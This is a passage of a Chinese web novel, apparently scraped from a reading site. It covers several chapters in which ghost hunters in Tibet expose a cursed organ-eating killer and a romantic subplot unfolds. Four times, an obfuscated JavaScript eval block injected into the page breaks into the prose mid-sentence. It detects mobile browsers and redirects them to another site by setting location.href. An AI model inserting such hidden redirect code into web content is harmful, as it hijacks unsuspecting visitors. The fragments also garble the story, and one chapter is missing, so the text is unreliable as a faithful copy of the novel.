“他不给我开门,我就自己进去了。敲门是礼貌,但不代表他不开门我就进不去。”多杰是鬼,鬼有鬼的神通,区区一扇门怎么可能拦得住他。 “然后呢?”兰殊尔问。 “我进门后站在他床边看了他许久,他把头蒙在被子里。他头伸出来那一刻一眼看到了我,他真胆小,居然被我吓晕了。”多杰如实说道。 左轻白幽幽地说:“他为啥吓晕你没点数吗?” 多杰说:“我找到了他白天对着我施法的那个法器。” “那玩意叫单反。”左轻白好心提醒。 “我不会使用,拿在手里琢磨了许久都没琢磨透,这时候,我听到有人来了。” 49. 到处遇到鬼 急性子的左轻白迫不及待地问:“然后呢?” 多杰道:“然后我跳出窗外,就在我离开房间的前一秒,我看到一个四十多岁的男人走了进来。男人憋紫了一张脸,嘴里流着口水,像饿急了很想吃东西的样子。再后来发生了什么我就不知道了,我离开了那里,一不小心窜到了你的房间去了。”多杰一指左轻白。 左轻白把刚才用来给多杰画眼睛的那支笔递给多杰,对他说:“那人长什么样?你画一下。” 多杰接过笔就开始画。 多杰不是美术生,不懂画画,但他也不是真的在画画,他的记忆里留有进入小张房间的那个人的脸,他是在用鬼术把那人的脸从记忆中复刻出来,就像打印机那样。 多杰拿着画笔在地上乱涂,虽然涂得毫无章法,但出来的成品却是一张清晰得像照片一样的人脸。 左轻白和兰殊尔难以置信地叫出声来:“老冯?” 昨天晚上最后一个进入死者张维为房间的人是老冯。 老冯,大名冯满芦,45岁,剧组场务,爱好骑行。 左轻白忽然头顶发麻,她想起冯满芦在闲聊时说过的话:“我是个骑行爱好者……” 冯满芦是骑行爱好者,经常来西藏,而十年前死的那两个人,也是来西藏的骑行爱好者! 左轻白对兰殊尔说:“冯满芦是骑行爱好者,十年前死的两个人也是骑行爱好者,这不是巧合吧?” 兰殊尔严肃地说:“不是。白天的时候我听这里的民警说,十年前死的那两个骑行者和张维为一样,都是被开膛破肚,挖出内脏,内脏被吃掉了。就是因为内脏被吃,所有人都认为是熊干的。” 多杰出声道:“不是我。” 左轻白问多杰:“关于吃内脏,你们这里有什么说法没有?” 多杰说:“我们这里从来没有吃人内脏的风俗,倒是……” “倒是什么?” “倒是有一个离奇的传说故事。传说在很久以前,有一对善良的夫妻生下了一个可爱的男孩,那对夫妻经常做好事,可惜好人没好报,他们的儿子在19岁的时候患上了一种会吐血的怪病,夫妻俩每天求神问药,却没什么效果。” 左轻白问兰殊尔:“什么病会经常吐血?” 兰殊尔说:“有很多,胃炎、胃溃疡,还有胃癌。” “才19岁这么小,不会是胃癌吧?”左轻白问,在她印象中好像患胃癌的都是年纪大了的人。 兰殊尔道:“任何年龄都有患胃癌的可能,目前发现的最小的胃癌患者才10岁。” “你怎么这么清楚?你穿过来之前是医生?”左轻白好奇地问。 兰殊尔冷道:“这是常识,捉鬼师考试有常识题,这些知识点是要背的。” “牛逼牛逼。” “知道考试的重要性了吧?” 多杰看了看他俩,问:“我还要不要往下说?” “当然要,你继续。”左轻白说。 多杰继续道:“眼看那男孩就要病死了,突然有一天,一只鬼来到了夫妻俩身边。鬼对夫妻俩说:‘我有办法救你们的孩子,但有代价。’俩夫妻回答:‘任何代价我们都愿意付出,哪怕要我们的性命都行!’鬼笑了,说:‘代价不是要你们的性命,代价是让你们的孩子变成恶魔。提醒你们,变成恶魔后,你们的孩子会害死很多人。如果你们的孩子活过来了,以后别人家的孩子就要死。你们愿救自己的孩子还是愿保别人的孩子?’” “那对夫妻做了怎样的选择?”左轻白问。 “那对夫妻选择救自己的孩子。那只鬼拿出一管血,听说是熊的心头血,鬼在心头血上施法,喂患病男孩喝下。”多杰道。 左轻白奇道:“怎么又是熊的心头血?那四个坏喇嘛想要熊的心头血,这个故事里也是熊的心头血。” 兰殊尔在一旁悠悠地说:“自古以来就有喝熊血能强身健体的说法,这是过去偷猎严重的原因之一。这也是常识题,知道考试的重要性了吧?” 左轻白撇了撇嘴,“喝熊血能强身健体?封建迷信。” 兰殊尔微讶,“捉鬼师就不要反封建迷信了吧……” 毕竟他们用的就是封建迷信的招。 多杰看了看他俩,又问:“我还要继续往下说吗?” “要要要,你继续。”左轻白说。 多杰道:“男孩喝下被鬼施过法的心头血后,吐出了一颗坏掉的胃,接着鬼送了他一颗好的胃,但要求他把自己那颗坏掉的胃吃下去。” 说到这里,左轻白感到一阵恶心,她实在忍不住,干呕了两下。 “你说,他吃掉了自己的胃?”兰殊尔也听得三观尽毁,“生吃?” “生吃。”多杰说。 左轻白又干呕了一下。 多杰继续往下说:“在那之后,男孩的病就好了,变得非常健康。就这样平安无事地过了十年,那对夫妻早就把当年鬼说他们的孩子会变成恶魔的话忘得一干二净。然而十年后的一天,那个孩子突然发狂,他迷失了心智,动手杀了同村的一家人,并把他们的肚子剖开,挖出里面的内脏吃掉。原来十年前那只鬼让他吃掉自己的胃,从此他就对活人的内脏上了瘾,十年发一次瘾,发作的时候必须吃活人的内脏。那个孩子果然如鬼所言,变成了恶魔。” “后来呢?恶魔死了没有?”兰殊尔问。 “死了,他的父母联合同村的其他人一起杀了他。” “发生这样的事,他父母后来也过得不好吧……”左轻白说着,突然她想到了什么不得了的事,左轻白微愣了一下,着急地问多杰:“那只鬼叫什么名字?” 多杰摇头,“不知道。” “那它长什么样子呢?这个传说里有没有提到鬼长什么样?”左轻白急切地问。 “传说都不太准确,有很多种说法,有人说那只鬼是个可怕的老妇人,有人说那只鬼是个窈窕的美女,还有人说那只鬼是个穿着红衣的女孩。” 左轻白大脑“嗡”了一下。 穿着红衣的女孩?金绮月? 左轻白咬牙切齿道:“金绮月,真他妈哪里都有你啊……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13102275|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你在说谁?金绮月?”兰殊尔问。 “你知道金绮月吗?”左轻白问兰殊尔。兰殊尔穿过来的时间比左轻白短,不知道有没有遇上金绮月。 兰殊尔道:“当红女演员,当然知道了,但我只知道她的名字,还没有见过她。” “那是一只神通鬼!”左轻白难得严肃。 “什么?”听到神通鬼的名号,兰殊尔的脸瞬间冷得像北方冬天被冻住了的湖。 左轻白对兰殊尔说:“你来得晚,还不太清楚金绮月的事,我晚点跟你说,现在不是时候,现在的当务之急是把冯满芦抓住!” 兰殊尔严肃地一点头,“没错,冯满芦的情况应该跟传说中那个男孩是一样的,患了重病后被疑似是金绮月的一只鬼……” “没有疑似。”左轻白打断他,“就是她。金绮月是一只可怕又强大的神通鬼,她见不得人过得好,她只爱看人间惨剧,看不到她就自己造。”左轻白骂道:“她脑子有病!” 左轻白骂完了,兰殊尔说:“冯满芦患病后被金绮月哄骗着吃下他自己的内脏,从此对人的内脏上了瘾,每十年发一次瘾,一发作就要吃活人内脏,十年前发作时他吃掉了自己两个骑友的内脏,十年后他又杀了张维为,他现在瘾还没过去,很有可能再次动手。我们必须马上赶回去。” 左轻白拿出一张符纸,口中念念有词,把多杰收入符纸中。空白的符纸上多了一只简笔画小熊。 左轻白和兰殊尔急急忙忙赶回酒店。 藏区有狼,回去的路上一路都能听见狼嚎。不过狼一般不会靠近人聚居的地方,它们很聪明的,恐怖直立猿不能惹它们是懂的。 路上,左轻白的手机响了,有电话。 这个地方居然有信号,不得不说祖国的基建真牛逼。 电话是路回打来的。 “这么晚了打什么电话?不睡觉啊?”左轻白一边嘟囔一边接了路回的电话。 “喂。” “你们那有人被熊吃了?怎么回事?你没事吧?这么大的事怎么不告诉我?你现在在哪?”路回一接通电话就劈头盖脸地问。 左轻白还没来得及回答,周围就又响起一阵狼嚎。 电话那头路回明显愣了一下。 “周围怎么有狼叫?”路回问。 “酒店里放电视呢。” “我不是傻子,听风声,你在室外;听脚步声,你还有个同伴。”路回冷静地说。 “这么厉害!”左轻白惊讶了,“路总平时兼职间谍吗?”左轻白又开始了她那跳跃性的思维,满嘴跑火车。 “你怎么在外面?在拍夜戏?出了这么大的事,剧组还在拍戏吗?”路回震惊道。 “我不在拍戏,我在工作,剧组死人的事情没那么简单。” 路回沉默了一会,说:“又遇到鬼了?” “差不多。” “……” 路回绝望了,他想让左轻白把注意力从鬼身上分给他一点,目前看来根本不可能。但左轻白是捉鬼师不是吸鬼石,怎么就能到处遇到鬼呢? 50. 病情加重了 “你现在在赶路?”路回着急地问。 “对……啊不。” 路回忽然被一种无力感包围。 如今路回与左轻白的互动模式是,路回连左轻白在想什么都搞不清楚,但就是会被左轻白牵动心绪,无法控制。 左轻白在电话那头很随便的一句“差不多”、“对”、“不”,都会让路回胡思乱想:她为什么对我这么敷衍?她是遇到什么事了吗? 这种感觉其实非常难受,电话这头的人挠心抓肺,没完没了地猜啊猜,而电话那头的人完全不知道在干什么、想什么,电话这头的人恨不得撕开电话钻过去。 路回很委屈,他觉得不能放任这种模式继续下去了,有些话必须说清楚。 路回说:“剧组死人这么大的事情,你应该跟我说,我很担心你。如果这么大的事你都不跟我说,我会觉得你完全忽略掉了我这个人,这让我很难受。” 路回在那边说着,这边兰殊尔拉了一下左轻白,他一脸严肃,小声地对左轻白说:“西北方向突然出现藏獒叫声,无缘无故藏獒不会叫这么凶,我想是出事了。” “冯满芦又出动了?”左轻白轻声道。 “有可能。” “走,去看看。”左轻白严肃道。 左轻白在这边忙,路回在那边说了一串啥她根本没听清,只听到了“难受”两个字。 “难受?”左轻白稀里糊涂地对着电话说:“你生病了吗?难受的话要去医院看医生哦。” 路回:“……” 路回:“你在听我说话吗?” 左轻白已读乱回:“好好休息,早点睡觉,先挂。” 于是左轻白挂掉了电话。 西北方向是离剧组下榻酒店最近的一个藏族村庄,村庄的藏獒叫的很凶,只有当危险事物闯入村庄时,藏獒才会这么叫。 一群藏民走出村庄,拿着手电在拼命呼喊,像是在找人,他们喊的是藏语,左轻白听不懂。 但左轻白有翻译。左轻白一边快速和兰殊尔朝西北方向跑,一边拿出那张封印了多杰的符纸,用鬼话问多杰:“多杰,他们在说什么?” 多杰用鬼话回答左轻白:“他们在说,熊偷孩子了。” 左轻白跟兰殊尔对视一眼,心里升起了不好的预感。 偷孩子的八成不是熊,而是吃人内脏上瘾的冯满芦,藏民误以为是熊把孩子偷走了,这样一来冯满芦就可以顺理成章地把罪行嫁祸给熊。 被偷走的孩子命在旦夕,左轻白急得跺脚:“这黑灯瞎火的,怎么找啊?冯满芦要是鬼就好了,是鬼就能闻着鬼气找到他,可他是人不是鬼,人气我们又闻不到!” “你们闻不到人气?我可以。”符纸中的多杰突然说,“我已经记住了那个人的气味,你把我放出去,我通过气味帮你找人。” 熊能记住气味,熊的嗅觉比人类强大概2100倍,多杰披上了熊皮,同时也拥有了熊的嗅觉,他遇见过冯满芦,记住了冯满芦的气味,把他放出来,就能通过气味找到冯满芦。 左轻白马上准备放鬼,兰殊尔连忙制止她。 “不能放,风险太大了。”兰殊尔说,“他骗你的,他是鬼,狡猾的鬼!放了他就跑了。” “现在有个孩子命在旦夕,就算有风险我也愿意试一试。他要是真跑了,再把他抓回来就是了。”左轻白毫不犹豫地说。 左轻白果断地把多杰从符纸中放了出来。 霎时间,一头巨大的熊出现在了黑夜中。 这头庞然大物如同怪物一样直立起来,它站起来的身高超过三米,肌肉发达,庞大的身躯十分骇人,巨物恐惧症患者看到大概会吓晕过去。 左轻白震惊得张大了嘴,她想这样一头熊,当初多杰是怎么杀死的?太不可思议了!难道这就是爱情的力量? 巨熊在空气中嗅了嗅,敏锐地锁定了目标,“嗖”的一下朝一个方向冲过去,它虽然庞大但并不笨重,很难想象这么大的身体能移动得这么灵活,速度能达到这么快。 左轻白和兰殊尔连忙跟上去,普通人追不上巨熊的速度,但左轻白和兰殊尔都不是普通人。 巨熊往一个山头扑过去,从山头后面揪出来一个人影,“啪”的一下把那人拍骨折,那人发出一声惨叫,听声音就是冯满芦。 左轻白和兰殊尔跟上,兰殊尔一个飞扑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13130114|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制住冯满芦,他把冯满芦的胳膊反拧在身后,牢牢把冯满芦摁在地上。 左轻白找到了被偷的小孩,小孩被绳子绑住,嘴上贴了胶布,左轻白把小孩嘴上的胶布撕开,小孩“哇”的一声大哭起来,尖锐的哭声刺破夜空,把正在找人的藏族村民吸引了过来。 小孩看起来有八九岁,上小学的年纪,左轻白用普通话跟他沟通:“你知道是谁绑架的你吗?” 这个年代的藏族孩子跟多杰那个年代不一样,现在的藏族孩子都会说普通话,小孩听懂了左轻白的问题,边哭边用手指着冯满芦,用普通话说:“是他!” 左轻白松了一口气。 万幸,这孩子没事,而且这孩子懂事了,能当人证指证冯满芦。 多杰在人群赶到之前回到了左轻白的符纸里;村民们感谢左轻白和兰殊尔救下孩子,一群人一起押送冯满芦去派出所;冯满芦在派出所交代了自己的罪行,坦白自己十年中杀过三个人,都是为了满足吃人内脏的瘾;因为吃内脏的瘾发作的时候太难受,冯满芦不停地祈求警察一枪杀了自己,给个痛快。 左轻白跟兰殊尔都要去派出所录笔录,折腾了一晚上加第二天白天,剧组的工作也一直这么耽搁着。 到了第二天晚上,左轻白疲惫地回到酒店,累得一头栽倒在床上。 左轻白这时候忽然想起昨晚路回打给她的电话,她昨晚忙着救人呢,实在没听清路回在说什么。 于是左轻白打了回去。 路回接了电话,但不吭声。 左轻白想起路回昨晚好像说他生病了,很难受,于是左轻白决定关心关心他。 左轻白主动问候道:“你的病好点了吗?” 路回:“……” 路回现在非常确定,昨晚左轻白压根没听他说话。 藏区的消息传得没那么快,路回那边还没播报冯满芦伏法的新闻,所以昨晚左轻白挂电话后发生的事路回并不知道。 路回刚想说“我没生病”,但话到嘴边又咽了下去。路回想了想,说道:“没好,病情加重了,现在在住院。” 此刻路回正躺在自家别墅的豪华大床上,根本没住院。 51. 吵醒你了吗 左轻白从床上坐起来,问:“这么严重啊?” 路回也从床上坐起来,说:“是啊,很严重,你要不回来一趟?” 左轻白奇怪道:“我回去有什么用?难道你的病是鬼造成的?” “你能少提一句鬼吗?” “如果你的病是鬼造成的,我回去就有用;但如果你的病不是鬼造成的,我不是医生,回去也帮不上什么忙。”左轻白认真分析。 “就不能是回来看我?” 左轻白笑道:“路总是小孩子吗?生病需要有人看着?” “我发现你这人有点冷血无情。”路回被左轻白气得从床上起来,他走出卧室,走到书房里,在书房的椅子上坐下。 路回没好气地说:“我没病也被你气出病来了!” 左轻白嘻嘻笑道:“所以你就是没病,你装病骗我,对吧?” “你早就猜到了?” “一开始我真以为你病了,但后来我发现你说话中气十足,一点都不像有病的样子,才怀疑你是不是装的。”左轻白如实说道。 路回叹气道:“你还挺聪明。” “当然。”左轻白得意洋洋。 “你这么聪明怎么别的事情就这么迟钝?” “我什么事情这么迟钝?”左轻白莫名其妙。 “就是……就是……”路回话到嘴边却死活说不出口。 路回心想自己真是的,诺大一个公司都管得好好的,追个妹子反而唧唧歪歪扭扭捏捏。 此刻路回连自己都看不起自己,他对自己有一种恨铁不成钢的心情。 见路回迟迟不说话,左轻白主动找话题:“你还不知道我们这边出什么事了吧?” “熊吃了个人。” 左轻白摇摇头,“不是熊吃的,是人吃的。” “什么?”路回十分惊讶。 于是左轻白把这两天发生的事一股脑儿全跟路回说了。 路回听完后,问:“这事又跟金绮月有关?” “嗯。”左轻白一点头,“昨天晚上在藏民赶到之前,我和兰殊尔盘问过冯满芦,冯满芦说他二十年前被查出胃癌,就在他万念俱灰的时候,遇到了一个穿着红裙子的妙龄少女,少女给了他一管熊的心头血,他喝下后就把自己癌变了的那个胃吐了出来,接下来的发展跟多杰口中那个传说故事差不多,少女送给冯满芦一个健康的胃,并要求冯满芦把他原来那个胃生吃下去。从此之后冯满芦的胃癌就好了,但却染上了吃人内脏的瘾,这瘾每十年发作一次,第一次发作是在十年前,冯满芦杀了跟他一起骑行的两个骑友,第二次发作就是这次,冯满芦杀了剧组的摄影助理,张维为。” 路回从来没有听说过这么离奇的故事,远在千里之外的他也不禁打了个寒战。 路回忽然想到什么,说:“说到底,罪魁祸首还是金绮月。金绮月那么可怕,我哥还天天呆在她身边,我劝他跟金绮月分手他不听,这可怎么办。” 路回的哥哥周夙是金绮月的男朋友。 左轻白想起自己看过的番外故事,若有所思道:“其实我觉得你哥吧,你哥吧……” “我哥怎么了?” “你哥他有没有可能也有捉鬼的本事,所以不怕金绮月?”左轻白怀疑周夙就是舒瑾安,而舒瑾安是捉鬼师。 “怎么可能?我哥会不会捉鬼我这个做弟弟的还能不知道?再说,金绮月这么厉害一只鬼,连你这个金牌捉鬼师都拿她没办法,就算我哥真是捉鬼师,也对付不了她啊!” 左轻白想起某些剧情,喃喃道:“我哪能跟他比,他跟金绮月的缘分可不浅……” “对了。”路回问,“那个兰殊尔,也是捉鬼师?” “是啊。虽然我跟他不太合拍,但至少我多了个帮手不是?” 路回松了一口气,“你跟他不合拍最好。” “为什么我跟他不合拍最好?”左轻白问。 路回沉默了几秒,道:“你这么聪明,自己猜去吧。” 书桌左上角摞着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144914|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一沓杂志,路回从里面快速找到一本娱乐杂志,杂志封面是兰殊尔。兰殊尔前段时间靠少年将军的角色小红了一把,所以杂志邀请他来拍摄这一期封面。 路回快速打量兰殊尔,心想这人摆着一张冷冰冰的臭脸,左轻白应该不会喜欢这款。 路回悬着的心放下了一点点。 跟左轻白结束通话后,路回又打了个电话给他哥,周夙。 周夙的电话调了静音,但周夙看到了屏幕上的来电显示,周夙轻手轻脚地从床上起来,拿起电话。 周夙看了一眼床上睡着的另一个人——金绮月,悄悄拿着手机走出了房间。他合上房间门,穿过客厅,来到阳台,才接了电话。 “喂?”哪怕已经来到了阳台,周夙的声音依然很轻,生怕吵醒金绮月。 “哥,你现在在哪?”路回问。 “静海路的公寓。” “又跟金绮月在一起?”路回急道,“哥我跟你说……” “你什么都不用说了。”周夙笑得温文尔雅,“一张口就是鬼啊鬼的,我都不知道你怎么了。你要是工作压力太大,明天我陪你去打高尔夫放松一下怎么样?咱哥俩很久没一起打高尔夫了。” “哥你就不能信我一次吗?” 周夙微微一笑,他倚在阳台的栏杆上,抬头望了一眼天上的一轮圆月。周夙不自觉地伸手摸了摸自己的心口。 周夙的心脏跟常人不同,他的心脏长在右边,更奇特的是,他心口的位置长着十二颗红痣,这是从娘胎带出来的胎记。 周夙望着月亮,高深莫测地说:“弟弟,应该是你信我一次才对,离那个左轻白远点,那个人神神叨叨的,满嘴胡说八道,谁知道安的什么心?” 周夙挂了电话,回到房间。 黑暗里,刚才还在睡觉的金绮月坐了起来。她纹丝不动地坐在床上,黑影如鬼魅,看起来有些可怕。 但周夙却不怕她。周夙温柔地走到床边,带着歉意轻声说:“抱歉,吵醒你了吗?” 52. 你能不能买下来 金绮月阴森森地下了床,摸黑走到梳妆台前。 金绮月背对着周夙坐着,然后她从头顶开始,毫无预兆地把自己的人皮脱了下来。 脱皮时甚至还发出“撕拉”声,光听声音就让人毛骨悚然。 “不好意思,我透透气,吓着你了吗?”蜕了皮的金绮月笑嘻嘻地说。 周夙并不害怕,平静地说了声:“没有。你想怎样都行。” 周夙没开灯,两人就在黑暗中对话。 “你为什么不怕我?”金绮月问。 周夙露出痴迷和爱慕的眼神,道:“我不怕你,我爱你。” “真够肉麻的。”金绮月嗤之以鼻。 金绮月透完了气,把人皮重新穿上,穿好之后,她穿过黑暗的房间,准确地找到周夙的位置,走到周夙面前,幽幽地对他说:“我再问你一次,你除了‘周夙’外,还有没有别的名字?” 跟左轻白一样,金绮月也怀疑周夙是舒瑾安,她也看到了周夙胸前的胎记。 金绮月查过周夙,但查来查去,除了心脏都在右边和都有12颗红痣胎记外,实在没查出他跟500年前的舒瑾安有什么关系。 周夙是个古怪的人。周夙见到金绮月的第一眼就深深地爱上了她,没有任何理由和铺垫,突然就深爱了,哪怕后来金绮月在他面前露出恶鬼的模样,周夙也坚定不移地说:“我不怕你,我爱你。”忠实地当金绮月的舔狗。 当然,只当舔狗的话,周夙是追不到金绮月的,金绮月之所以会选择周夙当男朋友,是因为她很好奇,周夙长了12颗红痣,那他有没有十二窍玲珑心? 新鲜的十二窍玲珑心对鬼来说作用跟还魂丹差不多,要是周夙跟舒瑾安一样有一颗十二窍玲珑心,那把他带在身边,不就等于随身带了个复活甲? 复活甲谁不想要?金绮月再厉害,她也想要。 不过在把心真正挖出来之前,没有人能辨别那到底是不是十二窍玲珑心,所以金绮月再好奇,也只能忍着不挖,毕竟只有最新鲜的心才是复活甲。 “我从小到大只有周夙一个名字,没有别的名字。”周夙回答了金绮月的问题。 金绮月轻笑着搂住周夙的脖子,循循诱导道:“不一定是从小到大啊,也可以是从前世到今生呀。” 周夙摇摇头,说:“我不记得我的前世。” 黑暗中,金绮月歪着脑袋看周夙,说道:“你很像我前世的一个故人。” “什么样的故人?”周夙问,“如果是爱人,你就别告诉我了,我会吃醋。” “爱人?”金绮月发出一声嘲讽的笑,“我不爱任何人。”她看向周夙,又道:“包括你。” 周夙却说:“你不用爱我,我爱你就够了。” “你明知我是鬼。” “你是人还是鬼,跟我爱你有什么关系?” “有时候我真的怀疑你是不是疯子。” “所有人都可以是疯子,主要看疯子的标准是什么。”周夙说。 金绮月冷笑一声,忽然她松开周夙的脖子,推开房间门走了出去。 金绮月走到阳台上,周夙跟在她身后。 从月亮的方向飞来一缕黑烟,金绮月伸出手指,黑烟缠绕在她的手指上。 “世人之苦,养我之根。”金绮月轻声道,她问周夙:“冯满芦患了胃癌,他只是想活着,想活着有错吗?” 周夙摇摇头,“没有。求生是所有人的本能。” “但他活着就会变成恶魔,剥夺别人的生命。其实冯满芦吃人内脏的时候也很痛苦,但瘾一发作,不吃又不行,他控制不住。我喜欢他的痛苦,他的痛苦是我的补品。” 金绮月说着,把那一缕冯满芦的痛苦吞了下去。 “你的伤,好了没?”周夙问。 “早就好了。” “那就好。” 金绮月上次被左轻白用计重伤,这段时间她吃了不少“补品”,已经恢复过来了。 金绮月一恢复,左轻白怕是要倒霉。 —————————————— 藏区。 剧组在藏区的拍摄行程接近尾声,左轻白在跟多杰商议后,把那四个尸人喇嘛的魂给放了。从藏区返程时,左轻白把多杰封在符咒里带了回来。 多杰第一次体验坐飞机,都惊呆了。 “怎么样,外面变化大吧?”左轻白对多杰说。 “这些年我一直躲在山里,错过了很多东西。”多杰感叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13153164|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 “你披着熊皮不方便出来嘛。”左轻白说,“不过,你宁愿一直披熊皮都不愿意剥人皮,说明你是一只好鬼。很少有鬼能忍住不去剥皮的。” “但你的那个搭档似乎不认为我是好鬼。”多杰说的搭档是兰殊尔,兰殊尔坚定地认为所有鬼都会害人,反对左轻白帮多杰。 “别理他。”左轻白道,“他那人死脑经。” 左轻白下飞机后收到了路回亲手送的花束。 路回亲自来机场接左轻白,他穿了一身奢侈品的休闲装,戴了副墨镜,手捧一大束鲜花,终于有了点纨绔子弟的样子。 左轻白出来了,路回手捧鲜花,酷酷地向左轻白走去,没想到突然冲出来一波人,一窝蜂冲到路回前面,把路回死死挡住,这些人抢在路回之前给左轻白送上鲜花。 这些人是左轻白的粉丝团,左轻白自《千妖百鬼录》火了之后,也是有粉丝团的人了。粉丝团的小姐姐很热情,让左轻白体验了一把众星捧月的感觉。 左轻白很开心,不停地向她的粉丝们飞吻。折腾了半天,路回的花最后才送到左轻白手上。 “你怎么也来了?”左轻白问路回。 “我就不能是你粉丝?走,吃饭去。” “不行,没空,只是结束了藏区的拍摄,还没杀青呢,飞机落地还得继续工作,没有假期。”左轻白说。 剧组一旦开工,除非是很特殊的情况,否则不会停下来,连法定节假日都不会放假。 路回叹了口气,心想拍完这部一定要让左轻白休个假。 “对了,路回,能不能帮我个忙?”左轻白说。 “你难得找我帮忙,我还能不帮吗?”路回立即道。 左轻白从手机相册中找到某私人博物馆里人皮鼓的照片,对路回说:“这面人皮鼓,你能不能买下来?” 这是用拉姆的人皮制成的那面鼓,左轻白答应过多杰帮他找拉姆。 路回瞪大了眼睛看向左轻白。 左轻白轻易不找人帮忙,一找人帮忙吧,这帮的是什么鬼忙? “你要买这个?”路回震惊道,“要买它不是钱的问题,文物是不能随便买卖的。再说,人皮鼓,你买这么恐怖的东西做什么?” 54. 无情的判官 多杰来到了紫荆森林公园,今天这里全是春游的学生,多杰穿着暨华中学的校服混入其中。 “同学,你是哪个班的?去自己班的队伍。”一个老师对多杰说。 多杰听不懂汉语,也不会说,他只能通过老师的手势判断老师想让他走开。 多杰连忙走开。 听不懂也不会说,这不跟聋了哑了差不多吗?多杰心想自己好像能体会到当初拉姆的感受了,这种世界只有自己一个人的感受。 拉姆的转世郝曼是个十分显眼的人物,一来她长得极好看,二来她身边围着一群男生,争着抢着帮她拿东西。 多杰一眼就看到了郝曼,但他没有凑到前面去,而是默默地跟在后面看着。 多杰看到一群男生围在郝曼身边,不知怎的心里有点发酸,但很快他就安慰自己说,自己这次来,看到拉姆这辈子过得不错,就足够了,其他不要多想。 紫荆森林公园里有一座紫荆山,这次春游的任务是每个班组织班里的学生爬上紫荆山山顶,在山顶搭帐篷过夜,第二天起来看日出。 上山的道路上,郝曼在前面走,多杰在后面跟着,旁边的学生觉得多杰有些奇怪,想跟他搭话,但多杰听不懂汉话,干脆全程装哑巴。 有一段路水泥路没修好,只有泥巴路,同学们都在抱怨,老师大声道:“同学们,这一截路比较难走,大家小心些,慢慢走,不要急,走过这一截就好了。” 路很滑,郝曼走着走着一个不小心滑了一跤,滚下一旁的高坡。高坡很高,下面是陡峭的山壁,所有人都发出惊呼,就在这时,一个穿着校服的身影“嗖”的一下窜了过去,像只矫健的藏羚羊,三两下跳到郝曼身边,及时抓住了郝曼,阻止她继续下滑。 抓住郝曼的是个男孩子,他把郝曼背到背上,三两下从坡下走了上来。那么陡峭的山坡,他走起来极其轻松,所有人都看呆了。 这个时代城市里的小孩,走山路都费劲,更别提爬这种稍微陡峭一点的坡了,更何况这男孩还背着个人,居然也这么轻松,身姿矫健得跟这一群娇生惯养的学生格格不入。 这男孩就是多杰,他出生于藏地,不是城市里娇生惯养的学生。 多杰刚才一路观察,知道郝曼不擅长走泥路,所以把郝曼背上去后他没有放下郝曼,而是不顾周围人的目光,背着郝曼一直走,直到把郝曼背过这段难走的泥路,到了水泥路上,他才把郝曼放下。 郝曼惊呆了,张着嘴不知道说些什么。她觉得很奇怪,不知为何,看着眼前的男孩,她有一种似曾相识的感觉。 多杰想起左轻白教他的几句汉话,紧张地开了口,对郝曼道:“你好,郝曼,我是多杰。”他说话的时候声音都是颤抖的。 “你认识我?”郝曼问。 多杰看到郝曼开了口,但他听不懂郝曼在说什么。 “你是哪个班的?”郝曼又问。 多杰还是听不懂。 多杰既高兴又难过,高兴是因为他终于又见到了拉姆,难过是因为他依然和前世一样,无法跟拉姆言语交流。 多杰用藏语说了一句:“见到你很高兴。” 他说藏语,郝曼就听不懂了,郝曼莫名其妙道:“你叽里咕噜的在说啥?” “郝曼!”这时身后的老师同学也跟了上来,刚才多杰走的速度很快,把他们都甩在了身后。 “郝曼,你没事吧?”老师快吓死了。 郝曼摇摇头,说:“我没事,老师。” 老师看了一眼多杰,问他:“谢谢你啊同学,你叫什么名字?是哪个班的?” 多杰听不懂,呆呆地睁大眼睛站在一旁,有些无措。 郝曼说:“他叫多杰,不知道是哪个班的,他好像听不懂我们说话。” “听不懂?”老师困惑了。 这时班长走了上来,班长是个帅气的男生,班长对老师说:“可能是走错队伍了,没事,反正所有班的队伍最后都要到山顶集合,到了山顶就能找到原来的班级了。不过最好跟原来班级的带队老师报个平安,同学你有手机吗?给你们班的带队老师打个电话报个平安吧。” 